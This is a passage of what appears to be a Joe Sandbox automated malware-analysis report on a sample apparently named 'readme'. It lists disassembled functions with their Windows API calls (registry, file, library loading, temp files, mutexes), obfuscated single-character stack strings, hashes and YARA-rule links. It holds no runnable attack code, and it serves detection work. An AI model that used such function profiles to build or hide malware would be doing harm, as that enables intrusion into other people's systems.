Instruction Fuzzy Hash: 75D13A2110C7C28AD322CA3C585879BFFD11BE6318F480B9DE5E45B2D2C7A9864DC7A7

Function 004158B0 Relevance: 52.6, APIs: 3, Strings: 27, Instructions: 141registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F), ref: 00415A87
RegQueryValueExA.ADVAPI32(?,0042E292,00000000,00000000,?,00000013), ref: 00415AB1
RegCloseKey.ADVAPI32(?,?,0042E292,00000000,00000000,?,00000013), ref: 00415ABE

Strings

s, xrefs: 00415A2B
C, xrefs: 0041590E
v, xrefs: 00415A1C
T, xrefs: 004158FF
K, xrefs: 00415A0D
), xrefs: 00415936
z, xrefs: 004159E1
@, xrefs: 00415A6C
,, xrefs: 004159DC
r, xrefs: 00415A12
?, xrefs: 00415927
N, xrefs: 00415953
n, xrefs: 00415962
A, xrefs: 004158E1
d, xrefs: 00415976
u, xrefs: 004158E6
5, xrefs: 00415A5D
, xrefs: 00415931
., xrefs: 00415984
p, xrefs: 00415958
g, xrefs: 004158F5
1, xrefs: 00415A26
i, xrefs: 004159B5
T, xrefs: 004159AB
w, xrefs: 00415A03
l, xrefs: 00415A53
h, xrefs: 004159FE

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: $)$,$.$1$5$?$@$A$C$K$N$T$T$d$g$h$i$l$n$p$r$s$u$v$w$z
API String ID: 3677997916-1350007012
Opcode ID: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction ID: bf718c844d1271869f6f5a4619d4bc1fbd5c2e1576c271db0d89f6da38526253
Opcode Fuzzy Hash: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction Fuzzy Hash: 0871B72050C7C1DDD322C67C984874FBFD11BA7328F484B8DF1E45A2E6D2AA8649C76B

Function 004123A0 Relevance: 43.7, APIs: 29, Instructions: 227memoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004123BE

Part of subcall function 0041DF40: CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,75922EE0,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
Part of subcall function 0041DF40: GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
Part of subcall function 0041DF40: CloseHandle.KERNEL32(00000000), ref: 0041DF95

GetProcessHeap.KERNEL32(00000000,?), ref: 004123EE
HeapFree.KERNEL32(00000000), ref: 004123F5
GetProcessHeap.KERNEL32(00000000,?,00000000,00000000), ref: 00412439
HeapAlloc.KERNEL32(00000000), ref: 0041243C
GetProcessHeap.KERNEL32(00000000,?,75922EE0,00000001), ref: 0041247E
HeapFree.KERNEL32(00000000), ref: 00412487
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124AC
HeapAlloc.KERNEL32(00000000), ref: 004124AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124C4
HeapFree.KERNEL32(00000000), ref: 004124C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124FD
HeapFree.KERNEL32(00000000), ref: 00412500
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041250E
HeapFree.KERNEL32(00000000), ref: 00412511

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$Process$Free$File$Alloc$CloseCreateHandleModuleNameSize
String ID:
API String ID: 1079676353-0
Opcode ID: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
Instruction ID: 17315ba9b804ea5b43f0dc8ea45a8c146efaa34e73fe8ad2d9cbea40495e9014
Opcode Fuzzy Hash: 4e0c200c8c15de1c34501c1501da476887ff163203a424eaa44262bbe6b8bc17
Instruction Fuzzy Hash: 6561A5B57043446BE724EBB5EC56FFB739CEB88714F40082AF549C3291DA79EC108666

Function 0041C0F0 Relevance: 35.3, APIs: 3, Strings: 17, Instructions: 251sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2CB
WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2E9

Strings

V, xrefs: 0041C1B5
:, xrefs: 0041C242
I, xrefs: 0041C25A
z, xrefs: 0041C166
0, xrefs: 0041C170
4, xrefs: 0041C157
C, xrefs: 0041C1C4
l, xrefs: 0041C1DC
2, xrefs: 0041C193
:, xrefs: 0041C139
U, xrefs: 0041C1E1
M, xrefs: 0041C1A6
', xrefs: 0041C152
., xrefs: 0041C1AB
Y, xrefs: 0041C13E
{, xrefs: 0041C134
d, xrefs: 0041C25F

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ObjectSingleSleepWait
String ID: '$.$0$2$4$:$:$C$I$M$U$V$Y$d$l$z${
API String ID: 309074506-2986699499
Opcode ID: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction ID: fcf21cc62856f80bb5c310aab61f0a24f3f1c6b30d2e4690c96e373a58e0fda4
Opcode Fuzzy Hash: eb96c70319cd0b3451e5825f8352d491de8bb6029cd1e33e93e4916a575053ba
Instruction Fuzzy Hash: 3CB18C3150C3C1CAD321CB39988478BFFE46BA6714F484A5EF5E5972D2C2798149CB6B

Function 00412B30 Relevance: 33.3, APIs: 5, Strings: 14, Instructions: 86filetimeCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412C26
GetLocalTime.KERNEL32(0000003C), ref: 00412C31
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00412C4B
WriteFile.KERNEL32(00000000,000000E6,00000010,0000003C,00000000), ref: 00412C62
CloseHandle.KERNEL32(00000000), ref: 00412C69

Strings

{, xrefs: 00412B4E
4, xrefs: 00412B75
Y, xrefs: 00412B58
^, xrefs: 00412BA7
:, xrefs: 00412B53
m, xrefs: 00412BAC
h, xrefs: 00412BCE
', xrefs: 00412B70
z, xrefs: 00412B84
<, xrefs: 00412BBA
t, xrefs: 00412BE2
0, xrefs: 00412B8E
F, xrefs: 00412BE7
x, xrefs: 00412B62

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleLocalStringsTimeWrite
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2838349079-1073058172
Opcode ID: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction ID: 9d5602a8bff07f8f1bd6dde567594dbbd8fa68865cf92d56b2b83de2356b4480
Opcode Fuzzy Hash: 37388e250c0d3da558317f92ab88a6508f4e7bf2038ca778009507825cbacb26
Instruction Fuzzy Hash: 4C41112010C3C199D322D7389848B8FBFD15BA7218F488B9DF1E45A2D2C2759249C7AB

Function 004120C0 Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 150libraryloaderCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 004121E0
GetFileAttributesA.KERNEL32(?), ref: 004121FF
LoadLibraryA.KERNEL32(?,00000000), ref: 00412252
GetProcAddress.KERNEL32(00000000,0042E3F0), ref: 004122AC

Strings

<, xrefs: 0041214A
{, xrefs: 004120DE
:, xrefs: 004120E3
Y, xrefs: 004120E8
4, xrefs: 00412105
', xrefs: 00412100
h, xrefs: 0041215E
t, xrefs: 00412172
0, xrefs: 0041211E
m, xrefs: 0041213C
F, xrefs: 00412177
^, xrefs: 00412137
z, xrefs: 00412114
x, xrefs: 004120F2

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressAttributesEnvironmentExpandFileLibraryLoadProcStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 925820237-1073058172
Opcode ID: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
Instruction ID: 95e2059b24e6b08625558fafe1d9927b9274d35295d34d11aa50597a438a658b
Opcode Fuzzy Hash: 131d082f9de17865684a3e021f0ddc608ce7fca9326b0bc6ab7601fe30902281
Instruction Fuzzy Hash: C651631010C3D19AD311DB39989579BBFD45BA7328F485A9DF4E8472D3C269820DC76B

Function 004129C0 Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 92fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 00412AB6
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00412AD0
ReadFile.KERNEL32(00000000,000000E6,00000010,?,00000000), ref: 00412B02
CloseHandle.KERNEL32(00000000), ref: 00412B09

Strings

', xrefs: 00412A00
t, xrefs: 00412A72
0, xrefs: 00412A1E
{, xrefs: 004129DE
4, xrefs: 00412A05
m, xrefs: 00412A3C
<, xrefs: 00412A4A
:, xrefs: 004129E3
^, xrefs: 00412A37
F, xrefs: 00412A77
x, xrefs: 004129F2
Y, xrefs: 004129E8
z, xrefs: 00412A14
h, xrefs: 00412A5E

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2873326616-1073058172
Opcode ID: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
Instruction ID: 8c6ea43fa09a3286770b603215ecff93b091f737eb22e7810364243bb09da271
Opcode Fuzzy Hash: 71fe3081bd5b8bd7161fbc035ce1e9a9d4373e19c6f6c250aca107c39a209abf
Instruction Fuzzy Hash: 4E41032010C3C199D322D73C984878FBFD55BA7318F488B9DF1E85A2D2D3A99649C76B

Function 0040B610 Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 92fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
CloseHandle.KERNEL32(00000000), ref: 0040B760

Strings

h, xrefs: 0040B6B8
^, xrefs: 0040B695
{, xrefs: 0040B646
0, xrefs: 0040B682
t, xrefs: 0040B6C7
m, xrefs: 0040B69A
4, xrefs: 0040B669
Y, xrefs: 0040B650
', xrefs: 0040B664
<, xrefs: 0040B6A4
F, xrefs: 0040B6CC
:, xrefs: 0040B64B
x, xrefs: 0040B65A
z, xrefs: 0040B678

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleReadStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 2873326616-1073058172
Opcode ID: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
Instruction ID: c9ca788773da980f5d214099c4e0c2fa05920a1819a7867e2b669ae635df4d4e
Opcode Fuzzy Hash: c114ea442860f0f80da07236d5853267047690d1852017ad31ebe147657299ea
Instruction Fuzzy Hash: 6341142010C3C199D322DB28984874FBFD15BA6718F588A5DF1E85B2E2C3B5964DC76B

Function 0040B780 Relevance: 31.6, APIs: 4, Strings: 14, Instructions: 80fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000001), ref: 0040B868
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040B882
WriteFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B899
CloseHandle.KERNEL32(00000000), ref: 0040B8A0

Strings

F, xrefs: 0040B834
x, xrefs: 0040B7C2
', xrefs: 0040B7CC
4, xrefs: 0040B7D1
h, xrefs: 0040B820
Y, xrefs: 0040B7B8
<, xrefs: 0040B80C
:, xrefs: 0040B7B3
m, xrefs: 0040B802
z, xrefs: 0040B7E0
{, xrefs: 0040B7AE
^, xrefs: 0040B7FD
t, xrefs: 0040B82F
0, xrefs: 0040B7EA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleStringsWrite
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 4155862527-1073058172
Opcode ID: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
Instruction ID: baa3cae5f5ab34e93cfd813ff7becf06d1d45a190b3b457302884b7f26e423b1
Opcode Fuzzy Hash: 9273c5595a96b2405ab5af5d902c7359953e1080390114a057f2b0281a9bc69d
Instruction Fuzzy Hash: E831232014D3C1D9D312D7289848B8FBFD05BA7318F488A5DF1D85A2D2C3B9824DC767

Function 004056D7 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 135stringCOMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00405900
lstrcmpiA.KERNEL32(00000001,?), ref: 0040591C

Strings

I, xrefs: 0040585F
p, xrefs: 00405812
s, xrefs: 00405833
p, xrefs: 004057FF
h, xrefs: 00405825
h, xrefs: 0040583B
8, xrefs: 00405869
p, xrefs: 00405809
t, xrefs: 00405843
t, xrefs: 0040582A
m, xrefs: 0040584B
h, xrefs: 00405804
s, xrefs: 00405820
l, xrefs: 00405817

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: _strrchrlstrcmpi
String ID: 8$I$h$h$h$l$m$p$p$p$s$s$t$t
API String ID: 2999501412-836531014
Opcode ID: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
Instruction ID: 3f20e5aee60d72e1d420386b93ed5b1cec2b7467db128eb5dee041a04ac3d7e4
Opcode Fuzzy Hash: ccec61454f6af3ee337d9bff48b7e251726acd3afa5ded9e8444d64063ddd766
Instruction Fuzzy Hash: B771C07540D3C28AD326CB288040B9BFBE1ABD6204F448E6EE5D947391E7B59109CB67

Function 00401000 Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 77fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB
CloseHandle.KERNEL32(00000000), ref: 0040111C

Strings

<, xrefs: 0040107F
z, xrefs: 00401053
:, xrefs: 00401022
m, xrefs: 00401071
h, xrefs: 00401093
', xrefs: 0040103F
F, xrefs: 004010AC
0, xrefs: 0040105D
t, xrefs: 004010A7
^, xrefs: 0040106C
4, xrefs: 00401044
Y, xrefs: 00401027
x, xrefs: 00401031

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: ca9cc3af777dddaed0d5913db1498ae4339569db94bec9ca99ba58dbe94e5d40
Instruction ID: 312b795b5e56d1041d03fccaae8dae33a3be811c4841049efce2031e4c952a66
Opcode Fuzzy Hash: ca9cc3af777dddaed0d5913db1498ae4339569db94bec9ca99ba58dbe94e5d40
Instruction Fuzzy Hash: 5B31FC2010C3C1D9E322D738985974FBFD15BA7318F588A9DF1E95B2D2C2B98249C7A7

Function 004016F0 Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 77fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004017D1
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004017EB
CloseHandle.KERNEL32(00000000), ref: 0040180C

Strings

t, xrefs: 00401797
x, xrefs: 00401721
0, xrefs: 0040174D
<, xrefs: 0040176F
m, xrefs: 00401761
4, xrefs: 00401734
', xrefs: 0040172F
z, xrefs: 00401743
Y, xrefs: 00401717
^, xrefs: 0040175C
F, xrefs: 0040179C
:, xrefs: 00401712
h, xrefs: 00401783

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: 913cc769b66229c6b909c85032c4fd2047f7c90766c012ad0f461adb7c7f1a52
Instruction ID: cf6603b6467a36f1b1fe48ee20707507a00a8aaa8c14109d76319268d20f67da
Opcode Fuzzy Hash: 913cc769b66229c6b909c85032c4fd2047f7c90766c012ad0f461adb7c7f1a52
Instruction Fuzzy Hash: 1131FC2010C3C199E322D738985874FBFD15BA7318F588A9DF1E95B2D2C2B98249C7A7

Function 00401140 Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 69fileCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401221
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040123B
CloseHandle.KERNEL32(00000000), ref: 00401242

Strings

t, xrefs: 004011E7
4, xrefs: 00401184
^, xrefs: 004011AC
Y, xrefs: 00401167
<, xrefs: 004011BF
m, xrefs: 004011B1
F, xrefs: 004011EC
x, xrefs: 00401171
0, xrefs: 0040119D
', xrefs: 0040117F
z, xrefs: 00401193
h, xrefs: 004011D3
:, xrefs: 00401162

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
Instruction ID: 183227d0d47840c6fb137b2e72691f3ad759e2d74dad290b7fbfcb0fd45e1397
Opcode Fuzzy Hash: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
Instruction Fuzzy Hash: B631DC2010C3C1D9E322D738984974FBFD11BA7218F588A9DF1E95A2D2C2B99249C767

Function 00419AC0 Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 456synchronizationfileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,75920440), ref: 00419B01
GetTempFileNameA.KERNEL32(?,0042E290,00000000,?), ref: 00419B1B
WaitForSingleObject.KERNEL32(00000014,000000FF,00000000,000000EE), ref: 00419B49
ReleaseMutex.KERNEL32(00000014,?,?,?,00000005,?,?,?,00000006,?,?), ref: 00419FB1
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,00000005,?,?,?,00000006,?,?), ref: 0041A0B6

Strings

A, xrefs: 00419C3C
t, xrefs: 00419B71
), xrefs: 00419D24
7, xrefs: 00419C4B
5, xrefs: 00419C5A
u, xrefs: 00419C41
P, xrefs: 00419B67
%d:%d,, xrefs: 00419BC8, 00419C98, 00419DE5
H, xrefs: 00419C46
Z, xrefs: 00419B5D

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: FileTemp$DeleteMutexNameObjectPathReleaseSingleWait
String ID: %d:%d,$)$5$7$A$H$P$Z$t$u
API String ID: 3931662400-3265384
Opcode ID: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
Instruction ID: 87167e95f2216398dbb744b78034f6cdc2098f1725ccaa65e6176ba6f2cbe2f0
Opcode Fuzzy Hash: fbd0aa01bd745ed4f8e17624d07f534a33e09d32544fa6f8117615c808823477
Instruction Fuzzy Hash: F902F2351083908FC721CF28D8A1AE7BFE0AF96314F48965DE8D5473A2D375D849CB9A

Function 0042A3E3 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 115fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 0042A464
_strcat.LIBCMT ref: 0042A477
